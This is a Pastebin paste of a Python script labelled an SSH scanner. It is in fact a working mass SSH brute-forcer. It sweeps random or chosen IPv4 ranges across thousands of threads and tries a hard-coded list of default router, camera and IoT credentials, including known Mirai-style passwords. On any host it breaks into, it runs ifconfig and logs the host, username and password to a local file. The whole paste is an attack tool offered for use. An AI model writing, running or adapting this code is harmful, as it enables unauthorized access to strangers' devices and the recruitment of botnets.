Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2018
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.41 KB | None | 0 0
  1. import os
  2. import sys
  3. import threading
  4. from datetime import datetime
  5. print('[!] [' + str(datetime.now().time()) + '] SSH Scanner started...')
  6. import random
  7. import socket
  8. import time
  9. try:
  10. import paramiko
  11. except ImportError:
  12. print('[!] [' + str(datetime.now().time()) + '] You do not have paramiko installed')
  13.  
  14. paramiko.util.log_to_file('/dev/null')
  15.  
  16. global scriptName
  17. global threads
  18. global ranged
  19. global timeOUT
  20. global octets
  21. global octet1
  22. global octet2
  23. global octet3
  24.  
  25. usernames = ['root', 'guest', 'support', 'admin1', 'Administrator', 'admin', 'ubnt', 'pi', 'root', 'test']
  26.  
  27. passwords = ['1234', 'root', '123456', '54321', 'test', 'support', 'password', 'pass', 'system', 'realtek', 'dreambox', '7ujMko0admin', '7ujMko0vizxv', 'anko', '1111', 'klv123', 'default', 'xmhdipc', 'ubnt', 'xc3511', 'vizxv', '888888', 'raspberry', 'guest', 'toor', '12345', 'admin', 'root1234', 'admin1234']
  28.  
  29. if len(sys.argv) < 5:
  30. print(' Usage: python ' + str(sys.argv[0]) + ' <threads> <range> <octets> <timeout>')
  31. print('Example 1: python ' + str(sys.argv[0]) + ' 4000 a 94 10')
  32. print('Example 2: python ' + str(sys.argv[0]) + ' 4000 b 94.102 10')
  33. sys.exit()
  34.  
  35. scriptName = str(sys.argv[0])
  36. threads = str(sys.argv[1])
  37. ranged = str(sys.argv[2])
  38. octets = str(sys.argv[3])
  39. timeOUT = str(sys.argv[4])
  40.  
  41.  
  42. print('[!] [' + str(datetime.now().time()) + '] Threads: ' + threads)
  43. print('[!] [' + str(datetime.now().time()) + '] Range: ' + ranged)
  44. print('[!] [' + str(datetime.now().time()) + '] Octets: ' + octets)
  45. print('[!] [' + str(datetime.now().time()) + '] timeout: ' + str(timeOUT))
  46.  
  47.  
  48. def scanner(id):
  49. global scriptName
  50. global threads
  51. global ranged
  52. global octets
  53. global timeOUT
  54. global octet1
  55. global octet2
  56. global octet3
  57. if ranged == 'a':
  58. if '.' in str(octets):
  59. sys.exit()
  60. else:
  61. octet1 = str(octets)
  62. elif ranged == 'b':
  63. try:
  64. octet1, octet2 = str(octets).split('.')
  65. except:
  66. sys.exit()
  67. elif ranged == 'c':
  68. try:
  69. octet1, octet2, octet3 = str(octets).split('.')
  70. except:
  71. sys.exit()
  72. elif ranged != 'random':
  73. sys.exit()
  74.  
  75. #scan
  76. while 1:
  77. try:
  78. output = ''
  79. if ranged == 'a':
  80. target = octet1 + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256))
  81. elif ranged == 'b':
  82. target = octet1 + '.' + octet2 + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256))
  83. elif ranged == 'c':
  84. target = octet1 + '.' + octet2 + '.' + octet3 + '.' + str(random.randrange(0, 256))
  85. elif ranged == 'random':
  86. target = str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256)) + '.' + str(random.randrange(0, 256))
  87. port = 22
  88. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  89. sock.settimeout(int(timeOUT))
  90. # try:
  91. sock.connect((target, port))
  92. #print(target)
  93. # except:
  94. # pass
  95. sock.close()
  96. breaker = False
  97. for username in usernames:
  98. for password in passwords:
  99. try:
  100. ssh = paramiko.SSHClient()
  101. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  102. ssh.connect(target, port = port, username=username, password=password, timeout=10)
  103. ssh.close()
  104. breaker = True
  105. break
  106. except:
  107. ssh.close()
  108. pass
  109. if breaker == True:
  110. break
  111. good = False
  112. try:
  113. ssh = paramiko.SSHClient()
  114. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  115. ssh.connect(target, port = port, username=username, password=password, timeout=10)
  116. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  117. output = stdout.read()
  118. except:
  119. ssh.close()
  120. pass
  121. if 'inet' in output:
  122. good = True
  123. if good == True:
  124. log=open('vulnerableSSH.txt', 'a')
  125. log.write(target + '|' + str(username) + '|' + str(password) + '|' + str(port) + '\n')
  126. log.close()
  127. print('[!] [' + str(datetime.now().time()) + ' | ' + str(id) + '] Succeeded: ' + target + '|' + str(username) + '|' + str(password) + '|' + str(port))
  128. ssh.close()
  129. except:
  130. try:
  131. sock.close()
  132. except:
  133. closed = True
  134. pass
  135.  
  136.  
  137. count = 0
  138. for i in range(0, int(threads)):
  139. try:
  140. count = count + 1
  141. t = threading.Thread(target=scanner, args=(count ,))
  142. t.start()
  143. except:
  144. print('[!] [' + str(datetime.now().time()) + '] Could not start thread: ' + str(count))
  145. print('[!] [' + str(datetime.now().time()) + '] Threads started: ' + str(count))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement